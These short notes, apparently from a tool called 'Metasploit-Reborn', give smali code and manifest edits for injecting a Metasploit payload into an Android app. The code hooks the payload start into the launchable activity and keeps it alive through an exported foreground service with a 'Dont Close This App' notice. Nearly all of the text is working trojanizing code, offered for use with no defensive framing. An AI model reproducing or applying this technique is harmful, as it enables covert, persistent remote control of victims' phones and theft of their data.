Metasploit-Reborn Notes :
Metasploit-Reborn in Action
MetasploitPersistentAndroid.mp4
Hook Point
At Launchable Activity
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
new-instance v0, Landroid/content/Intent;
const-class v1, Lcom/example/swagkarna/ForegroundService;
invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
.local v0, "serviceIntent":Landroid/content/Intent;
const-string v1, "inputExtra"
const-string v2, "Warning!!!.Dont Close This App"
invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
invoke-static {p0, v0}, Landroidx/core/content/ContextCompat;->startForegroundService(Landroid/content/Context;Landroid/content/Intent;)V
At Manifest Level :
Add Permission
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
----------------------------------------------------------------------------------------------------------------------------------------
<service android:enabled="true" android:exported="true" android:name="com.example.swagkarna.ForegroundService"/>
<service android:enabled="true" android:exported="true" android:name="com.metasploit.stage.MainService"/>